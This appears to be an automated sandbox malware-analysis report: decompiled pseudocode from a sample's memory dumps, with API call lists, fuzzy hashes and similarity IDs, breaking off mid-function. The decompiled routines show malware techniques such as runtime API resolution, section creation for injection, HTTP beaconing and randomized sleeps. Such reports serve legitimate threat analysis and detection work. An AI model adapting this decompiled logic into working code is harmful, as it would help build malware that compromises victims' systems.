				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E004012E6(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x404184 + 0x405099);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x404184 + 0x4051e9);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E00401BA9(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x404184 + 0x4051d1);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x404184 + 0x4050cc);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x404184 + 0x4050ec);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x404184 + 0x405091);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E0040110B(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x00401210
0x00401214
0x004012d5
0x0040121a
0x00401232
0x00401241
0x00401248
0x0040124a
0x0040124f
0x004012cd
0x004012ce
0x00401251
0x0040125e
0x00401260
0x00401265
0x00000000
0x00401267
0x00401274
0x00401276
0x0040127b
0x00000000
0x0040127d
0x0040128a
0x0040128c
0x00401291
0x00000000
0x00401293
0x004012a0
0x004012a2
0x004012a7
0x00000000
0x004012a9
0x004012af
0x004012b5
0x004012ba
0x004012bf
0x004012c4
0x00000000
0x004012c6
0x004012c9
0x004012c9
0x004012c4
0x004012a7
0x00401291
0x0040127b
0x00401265
0x0040124f
0x004012e3

APIs

Part of subcall function 004012E6: RtlAllocateHeap.NTDLL(00000000,?,00401A18,00000030,?,00000000), ref: 004012F2

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,00401337,?,?,?,?,?,00000002,?,?), ref: 00401226
GetProcAddress.KERNEL32(00000000,?), ref: 00401248
GetProcAddress.KERNEL32(00000000,?), ref: 0040125E
GetProcAddress.KERNEL32(00000000,?), ref: 00401274
GetProcAddress.KERNEL32(00000000,?), ref: 0040128A
GetProcAddress.KERNEL32(00000000,?), ref: 004012A0

Part of subcall function 0040110B: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000,?), ref: 00401168
Part of subcall function 0040110B: memset.NTDLL ref: 0040118A

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 3012371009-0
Opcode ID: ef3fb27e8fef4e2a0636531737cea3558674998f5155fbc55e035b1692bada1c
Instruction ID: f32f865edd81f5c961b11f374a2ae16c892bfa44bfba4a474c1bfb8eea8db87f
Opcode Fuzzy Hash: ef3fb27e8fef4e2a0636531737cea3558674998f5155fbc55e035b1692bada1c
Instruction Fuzzy Hash: 7C210CB4A0060BAFD710DFA9CD4495B77ECEB54314700447AEA09FB261EB74E9008B68

Uniqueness

Uniqueness Score: -1.00%

Function 007951D8 Relevance: 9.0, APIs: 6, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E007951D8(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E00792058(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E00797B83(_t9, _t18, _t22, _a8); // executed
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					if(HttpSendRequestA( *(_t22 + 0x18), 0, 0xffffffff, 0, 0) != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x007951d8
0x007951e5
0x007951e7
0x0079524a
0x00000000
0x0079524a
0x007951ff
0x00795206
0x00795212
0x00795217
0x0079522d
0x0079523d
0x00000000
0x0079522f
0x0079522f
0x00795236
0x00795243
0x00795243
0x00795243
0x00795236
0x0079522d
0x00795248
0x00000000
0x00000000
0x0079524e

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,007921E7,?,?,74CF81D0,00000000), ref: 00795212
ResetEvent.KERNEL32(?), ref: 00795217
HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 00795224
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00793F34,00000000,?,?), ref: 0079522F
GetLastError.KERNEL32(?,?,00000102,007921E7,?,?,74CF81D0,00000000), ref: 0079524A

Part of subcall function 00792058: lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,007951F7,?,?,?,?,00000102,007921E7,?,?,74CF81D0), ref: 00792064
Part of subcall function 00792058: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,007951F7,?,?,?,?,00000102,007921E7,?), ref: 007920C2
Part of subcall function 00792058: lstrcpy.KERNEL32(00000000,00000000), ref: 007920D2

SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00793F34,00000000,?), ref: 0079523D

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
String ID:
API String ID: 3739416942-0
Opcode ID: 6f81ea7d5fafcfa21d324164b8224fc7d57399bb8e52be0cddf918e4d59d6e5c
Instruction ID: b260cb2c20905a4dea5d4078dd21e81ccdaa391d1bce6acdcebb3f7ef94741b7
Opcode Fuzzy Hash: 6f81ea7d5fafcfa21d324164b8224fc7d57399bb8e52be0cddf918e4d59d6e5c
Instruction Fuzzy Hash: 6101AD71100A21AAEF326F29EC49F1B7BA9FF59320F204A29F591D10F0D728E805DB25

Uniqueness

Uniqueness Score: -1.00%

Function 00792523 Relevance: 7.7, APIs: 5, Instructions: 161
memoryCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00792523(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				CHAR* _t37;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t45;
				void* _t50;
				void* _t52;
				signed char _t57;
				intOrPtr _t59;
				signed int _t60;
				void* _t64;
				CHAR* _t68;
				CHAR* _t69;
				char* _t70;
				void* _t71;

				_t62 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E00794520();
				if(_t21 != 0) {
					_t60 =  *0x79a2fc; // 0x2000000a
					_t56 = (_t60 & 0xf0000000) + _t21;
					 *0x79a2fc = (_t60 & 0xf0000000) + _t21;
				}
				_t22 =  *0x79a178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E00793037( &_v8,  &_v20); // executed
					_t55 = _t25;
					_t26 =  *0x79a348; // 0x258d5a8
					if( *0x79a2fc > 5) {
						_t8 = _t26 + 0x79b51d; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x79b9db; // 0x44283a44
						_t27 = _t7;
					}
					E00794332(_t27, _t27);
					_t31 = E0079415A(_t62,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t64 = 5;
					if(_t55 != _t64) {
						_t32 = E007927A0();
						 *0x79a310 =  *0x79a310 ^ 0x81bbe65d;
						 *0x79a36c = _t32;
						_t33 = E007933DC(0x60);
						 *0x79a3cc = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t33, 0, 0x60);
							_t50 =  *0x79a3cc; // 0x2d29600
							_t71 = _t71 + 0xc;
							__imp__(_t50 + 0x40);
							_t52 =  *0x79a3cc; // 0x2d29600
							 *_t52 = 0x79b142;
						}
						_t55 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t37 = RtlAllocateHeap( *0x79a2d8, 0, 0x43);
							 *0x79a368 = _t37;
							__eflags = _t37;
							if(_t37 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t57 =  *0x79a2fc; // 0x2000000a
								_t62 = _t57 & 0x000000ff;
								_t59 =  *0x79a348; // 0x258d5a8
								_t13 = _t59 + 0x79b74a; // 0x697a6f4d
								_t56 = _t13;
								wsprintfA(_t37, _t13, _t57 & 0x000000ff, _t57 & 0x000000ff, 0x79927b);
							}
							_t55 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E00793BD3( ~_v8 &  *0x79a310, 0x79a00c); // executed
								_t43 = E00791D8A(0, _t56, _t62, _t64, 0x79a00c); // executed
								_t55 = _t43;
								__eflags = _t55;
								if(_t55 != 0) {
									goto L30;
								}
								_t44 = E00796EA3(_t62); // executed
								__eflags = _t44;
								if(_t44 != 0) {
									__eflags = _v8;
									_t68 = _v12;
									if(_v8 != 0) {
										L29:
										_t45 = E00796815(_t62, _t68, _v8); // executed
										_t55 = _t45;
										goto L30;
									}
									__eflags = _t68;
									if(__eflags == 0) {
										goto L30;
									}
									_t55 = E00795C31(__eflags,  &(_t68[4]));
									__eflags = _t55;
									if(_t55 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t55 = 8;
							}
						}
					} else {
						_t69 = _v12;
						if(_t69 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x79a17c();
							}
							goto L34;
						}
						_t70 =  &(_t69[4]);
						do {
						} while (E007923C4(_t64, _t70, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t55 = _t22;
					L34:
					return _t55;
				}
			}

0x00792523
0x0079252d
0x00792530
0x00792533
0x00792536
0x0079253d
0x0079253f
0x0079254b
0x0079254d
0x0079254d
0x00792556
0x0079255c
0x00792561
0x0079257b
0x00792587
0x00792589
0x0079258e
0x00792598
0x00792598
0x00792590
0x00792590
0x00792590
0x00792590
0x0079259f
0x007925ac
0x007925b3
0x007925b8
0x007925b8
0x007925c1
0x007925c4
0x007925ea
0x007925ef
0x007925fb
0x00792600
0x00792605
0x0079260a
0x0079260c
0x00792638
0x0079263a
0x0079260e
0x00792612
0x00792617
0x0079261c
0x00792623
0x00792629
0x0079262e
0x00792634
0x0079263b
0x0079263d
0x0079263f
0x0079264e
0x00792654
0x00792659
0x0079265b
0x0079268b
0x0079268d
0x0079265d
0x0079265d
0x00792663
0x00792670
0x00792676
0x00792676
0x0079267e
0x00792687
0x0079268e
0x00792690
0x00792692
0x00792699
0x007926a6
0x007926ab
0x007926b0
0x007926b2
0x007926b4
0x00000000
0x00000000
0x007926b6
0x007926bb
0x007926bd
0x007926c4
0x007926c8
0x007926cb
0x007926e0
0x007926e4
0x007926e9
0x00000000
0x007926e9
0x007926cd
0x007926cf
0x00000000
0x00000000
0x007926da
0x007926dc
0x007926de
0x00000000
0x00000000
0x00000000
0x007926de
0x007926c1
0x007926c1
0x00792692
0x007925c6
0x007925c6
0x007925cb
0x007926eb
0x007926f0
0x007926f8
0x007926f8
0x00000000
0x007926f0
0x007925d1
0x007925d4
0x007925de
0x007925e5
0x00000000
0x00792700
0x00792700
0x00792703
0x00792707
0x00792707

APIs

Part of subcall function 00794520: GetModuleHandleA.KERNEL32(4C44544E,00000000,0079253B,00000001), ref: 0079452F

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 007925B8

Part of subcall function 007927A0: GetVersionExA.KERNEL32(?,00000042,00000000), ref: 007927C4
Part of subcall function 007927A0: wsprintfA.USER32 ref: 00792828

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

memset.NTDLL ref: 00792612
RtlInitializeCriticalSection.NTDLL(02D295C0), ref: 00792623

Part of subcall function 00795C31: memset.NTDLL ref: 00795C4B
Part of subcall function 00795C31: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 00795C91
Part of subcall function 00795C31: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 00795C9C

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 0079264E
wsprintfA.USER32 ref: 0079267E

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: AllocateHandleHeapmemsetwsprintf$CloseCriticalInitializeModuleSectionVersionlstrlen
String ID:
API String ID: 1825273115-0
Opcode ID: 51401d5d74824f8e7c7965c9668f4082683e9a552001120f71c1925bbd9681f3
Instruction ID: e3d96bc9f8dd67b116cad3b9e03e2f8424923ff51eec09337dccbb6f5cc7dd91
Opcode Fuzzy Hash: 51401d5d74824f8e7c7965c9668f4082683e9a552001120f71c1925bbd9681f3
Instruction Fuzzy Hash: D1510271A42215FBDF10BBB4FC8AA6E33B8BB04700F108466E601E7252E77D99438B95

Uniqueness

Uniqueness Score: -1.00%

Function 00797040 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E00797040(signed int __eax, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _t81;
				char _t83;
				signed int _t90;
				signed int _t97;
				signed int _t99;
				char _t101;
				unsigned int _t102;
				intOrPtr _t103;
				char* _t107;
				signed int _t110;
				signed int _t113;
				signed int _t118;
				signed int _t122;
				intOrPtr _t124;

				_t102 = _a8;
				_t118 = 0;
				_v20 = __eax;
				_t122 = (_t102 >> 2) + 1;
				_v8 = 0;
				_a8 = 0;
				_t81 = E007933DC(_t122 << 2);
				_v16 = _t81;
				if(_t81 == 0) {
					_push(8);
					_pop(0);
					L37:
					return 0;
				}
				_t107 = _a4;
				_a4 = _t102;
				_t113 = 0;
				while(1) {
					_t83 =  *_t107;
					if(_t83 == 0) {
						break;
					}
					if(_t83 == 0xd || _t83 == 0xa) {
						if(_t118 != 0) {
							if(_t118 > _v8) {
								_v8 = _t118;
							}
							_a8 = _a8 + 1;
							_t118 = 0;
						}
						 *_t107 = 0;
						goto L16;
					} else {
						if(_t118 != 0) {
							L10:
							_t118 = _t118 + 1;
							L16:
							_t107 = _t107 + 1;
							_t15 =  &_a4;
							 *_t15 = _a4 - 1;
							if( *_t15 != 0) {
								continue;
							}
							break;
						}
						if(_t113 == _t122) {
							L21:
							if(_a8 <= 0x20) {
								_push(0xb);
								L34:
								_pop(0);
								L35:
								E007961DA(_v16);
								goto L37;
							}
							_t24 = _v8 + 5; // 0xcdd8d2f8
							_t103 = E007933DC((_v8 + _t24) * _a8 + 4);
							if(_t103 == 0) {
								_push(8);
								goto L34;
							}
							_t90 = _a8;
							_a4 = _a4 & 0x00000000;
							_v8 = _v8 & 0x00000000;
							_t124 = _t103 + _t90 * 4;
							if(_t90 <= 0) {
								L31:
								 *0x79a318 = _t103;
								goto L35;
							}
							do {
								_t110 = 0x3c6ef35f + _v20 * 0x19660d;
								_v20 = 0x3c6ef35f + _t110 * 0x19660d;
								__imp__(_t124,  *((intOrPtr*)(_v16 + _t110 % _a8 * 4)));
								__imp__(_t124,  *((intOrPtr*)(_v16 + _v20 % _a8 * 4)));
								_v12 = _v12 & 0x00000000;
								if(_a4 <= 0) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t99 = _v12;
									__imp__( *((intOrPtr*)(_t103 + _t99 * 4)), _t124); // executed
									if(_t99 == 0) {
										break;
									}
									_v12 = _v12 + 1;
									if(_v12 < _a4) {
										continue;
									}
									goto L30;
								}
								_v8 = _v8 - 1;
								L30:
								_t97 = _a4;
								_a4 = _a4 + 1;
								 *((intOrPtr*)(_t103 + _t97 * 4)) = _t124;
								__imp__(_t124);
								_v8 = _v8 + 1;
								_t124 = _t124 + _t97 + 1;
							} while (_v8 < _a8);
							goto L31;
						}
						 *((intOrPtr*)(_v16 + _t113 * 4)) = _t107;
						_t101 = _t83;
						if(_t83 - 0x61 <= 0x19) {
							_t101 = _t101 - 0x20;
						}
						 *_t107 = _t101;
						_t113 = _t113 + 1;
						goto L10;
					}
				}
				if(_t118 != 0) {
					if(_t118 > _v8) {
						_v8 = _t118;
					}
					_a8 = _a8 + 1;
				}
				goto L21;
			}

0x00797047
0x0079704e
0x00797053
0x00797056
0x0079705d
0x00797060
0x00797063
0x00797068
0x0079706d
0x007971c1
0x007971c3
0x007971c5
0x007971ca
0x007971ca
0x00797073
0x00797076
0x00797079
0x0079707b
0x0079707b
0x0079707f
0x00000000
0x00000000
0x00797083
0x007970af
0x007970b4
0x007970b6
0x007970b6
0x007970b9
0x007970bc
0x007970bc
0x007970be
0x00000000
0x00797089
0x0079708b
0x007970aa
0x007970aa
0x007970c1
0x007970c1
0x007970c2
0x007970c2
0x007970c5
0x00000000
0x00000000
0x00000000
0x007970c5
0x0079708f
0x007970d6
0x007970da
0x007971b4
0x007971b6
0x007971b6
0x007971b7
0x007971ba
0x00000000
0x007971ba
0x007970e3
0x007970f4
0x007970f8
0x007971b0
0x00000000
0x007971b0
0x007970fe
0x00797101
0x00797105
0x00797109
0x0079710e
0x007971a6
0x007971a6
0x00000000
0x007971ac
0x00797119
0x00797122
0x00797136
0x0079713d
0x00797152
0x00797158
0x00797160
0x00000000
0x00000000
0x00000000
0x00000000
0x00797162
0x00797162
0x00797162
0x00797169
0x00797171
0x00000000
0x00000000
0x00797173
0x0079717c
0x00000000
0x00000000
0x00000000
0x0079717e
0x00797180
0x00797183
0x00797183
0x00797186
0x0079718a
0x0079718d
0x00797193
0x00797196
0x0079719d
0x00000000
0x00797119
0x00797094
0x0079709c
0x007970a2
0x007970a4
0x007970a4
0x007970a7
0x007970a9
0x00000000
0x007970a9
0x00797083
0x007970c9
0x007970ce
0x007970d0
0x007970d0
0x007970d3
0x007970d3
0x00000000

APIs

Part of subcall function 007933DC: RtlAllocateHeap.NTDLL(00000000,00000000,007962F6), ref: 007933E8

lstrcpy.KERNEL32(43175AC4,00000020), ref: 0079713D
lstrcat.KERNEL32(43175AC4,00000020), ref: 00797152
lstrcmp.KERNEL32(00000000,43175AC4), ref: 00797169
lstrlen.KERNEL32(43175AC4), ref: 0079718D

Strings

, xrefs: 007970D6

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: AllocateHeaplstrcatlstrcmplstrcpylstrlen
String ID:
API String ID: 3214092121-3916222277
Opcode ID: 9b7f2cc906f3d7422140dc6a28cff017ad8c5b6734c6fb805f9d09fe26f4c54f
Instruction ID: 3621d46d45f837d248edd6909248df184696f590ed70456584f6df8a35bf5c58
Opcode Fuzzy Hash: 9b7f2cc906f3d7422140dc6a28cff017ad8c5b6734c6fb805f9d09fe26f4c54f
Instruction Fuzzy Hash: 9351B031A5420CEBDF29CF99D8847ADBBB6FF85354F14805AE8159B211C7789A41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00401DE1 Relevance: 7.5, APIs: 5, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t1;
				int _t4;
				int _t6;

				_t6 = 0;
				_t1 = HeapCreate(0, 0x400000, 0); // executed
				 *0x404160 = _t1;
				if(_t1 != 0) {
					 *0x404170 = GetModuleHandleA(0);
					GetCommandLineW(); // executed
					_t4 = E004019F1(); // executed
					_t6 = _t4;
					HeapDestroy( *0x404160);
				}
				ExitProcess(_t6);
			}

0x00401de2
0x00401deb
0x00401df1
0x00401df8
0x00401e01
0x00401e06
0x00401e0c
0x00401e17
0x00401e19
0x00401e19
0x00401e20

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 00401DEB
GetModuleHandleA.KERNEL32(00000000), ref: 00401DFB
GetCommandLineW.KERNEL32 ref: 00401E06

Part of subcall function 004019F1: NtQuerySystemInformation.NTDLL(00000008,00000000,00000030,?), ref: 00401A26
Part of subcall function 004019F1: Sleep.KERNELBASE(00000000,00000000,00000030,?,00000000), ref: 00401A6D
Part of subcall function 004019F1: GetLocaleInfoA.KERNELBASE(00000400,0000005A,?,00000004,?,00000000), ref: 00401A95
Part of subcall function 004019F1: GetSystemDefaultUILanguage.KERNEL32(?,00000000), ref: 00401A9F
Part of subcall function 004019F1: VerLanguageNameA.KERNEL32(?,?,00000004,?,00000000), ref: 00401AB2
Part of subcall function 004019F1: GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 00401ADF
Part of subcall function 004019F1: GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 00401AFD

HeapDestroy.KERNEL32 ref: 00401E19
ExitProcess.KERNEL32 ref: 00401E20

Memory Dump Source

Source File: 00000000.00000002.523151109.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.523151109.0000000000403000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.523151109.0000000000407000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_server.jbxd

Similarity

API ID: Name$HeapLanguageLongPathSystem$CommandCreateDefaultDestroyExitHandleInfoInformationLineLocaleModuleProcessQuerySleep
String ID:
API String ID: 1863574965-0
Opcode ID: 3f0d5e8033645e4078616d0e82c2d440b95647ac6ba795ba13239d20948eddaa
Instruction ID: 5d9c3f05f0f46dd7afa9dd855db83e90556071015df760abc973ca805bcb04d9
Opcode Fuzzy Hash: 3f0d5e8033645e4078616d0e82c2d440b95647ac6ba795ba13239d20948eddaa
Instruction Fuzzy Hash: 0BE0B6B1403220ABC7116F71BE0CA4F7E28BB89B527000539FA05F2279CB384A41CADC

Uniqueness

Uniqueness Score: -1.00%

Function 00794358 Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 007943B5
SysAllocString.OLEAUT32(00794D42), ref: 007943F9
SysFreeString.OLEAUT32(00000000), ref: 0079440D
SysFreeString.OLEAUT32(00000000), ref: 0079441B

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: f98af8b03ddbb7026bf106ed1f9c6a7b0cd43351ddb4abc09c764430f93ef671
Instruction ID: 5b18e59ab8e827951b04262dba8eb88b653ef093b7e5ac57b17a68b9ea9e2a5b
Opcode Fuzzy Hash: f98af8b03ddbb7026bf106ed1f9c6a7b0cd43351ddb4abc09c764430f93ef671
Instruction Fuzzy Hash: B3311D75900249EFCF04DF98E884DAE7BB5FF58341B20852EF90697260D7389A42CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0079213E Relevance: 6.0, APIs: 4, Instructions: 44
sleepthreadtimeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0079213E(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t17;
				signed int _t18;
				unsigned int _t22;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t22 = _v12.dwHighDateTime;
					_t16 = (_t22 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t22 >> 5);
					_push(_t16);
					L00798436();
					_t34 = _t16 + _t13;
					_t17 = E00796269(_a4, _t34);
					_t30 = _t17;
					_t18 = 3;
					Sleep(_t18 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}

0x00792143
0x0079214e
0x0079214f
0x0079214f
0x0079215b
0x00792164
0x00792167
0x0079216b
0x0079216d
0x00792172
0x00792173
0x00792174
0x0079217e
0x00792181
0x00792188
0x0079218c
0x00792193
0x00792199
0x007921a3

APIs

SwitchToThread.KERNEL32(?,00000001,?,?,?,00795044,?,?), ref: 0079214F
GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,00795044,?,?), ref: 0079215B
_aullrem.NTDLL(00000000,?,00000013,00000000), ref: 00792174

Part of subcall function 00796269: memcpy.NTDLL(00000000,00000002,?,?,?,00000000,00000000), ref: 00796308

Sleep.KERNELBASE(00000003,00000000,?,00000001,?,?,?,00795044,?,?), ref: 00792193

Memory Dump Source

Source File: 00000000.00000002.523420446.0000000000791000.00000020.10000000.00040000.00000000.sdmp, Offset: 00790000, based on PE: true

Associated: 00000000.00000002.523411744.0000000000790000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523439795.0000000000799000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523446135.000000000079A000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000000.00000002.523460386.000000000079C000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_server.jbxd

Similarity

API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
String ID:
API String ID: 1610602887-0
Opcode ID: 529f63140f5bff4cf7e186919779fa3b5af7c79a7f7a0d978c6237899eb808c4
Instruction ID: 3ad1a0de84d016f3dc4d1be51b5894f8c8a05a6e9eeb23757cb85dc56b843f55
Opcode Fuzzy Hash: 529f63140f5bff4cf7e186919779fa3b5af7c79a7f7a0d978c6237899eb808c4
Instruction Fuzzy Hash: 3AF0C877B40205BBDB149BA8DC1EFDF76B9DB84361F100129F601E7340E9BC9A01C694

Uniqueness

Uniqueness Score: -1.00%

Function 00795364 Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00795364(void** __esi) {
				intOrPtr _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				void* _t9;
				intOrPtr _t10;
				void* _t11;
				void** _t13;

				_t13 = __esi;
				_t4 =  *0x79a3cc; // 0x2d29600
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x79a3cc; // 0x2d29600
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t13;
				if(_t8 != 0 && _t8 != 0x79a030) {
					HeapFree( *0x79a2d8, 0, _t8);
				}
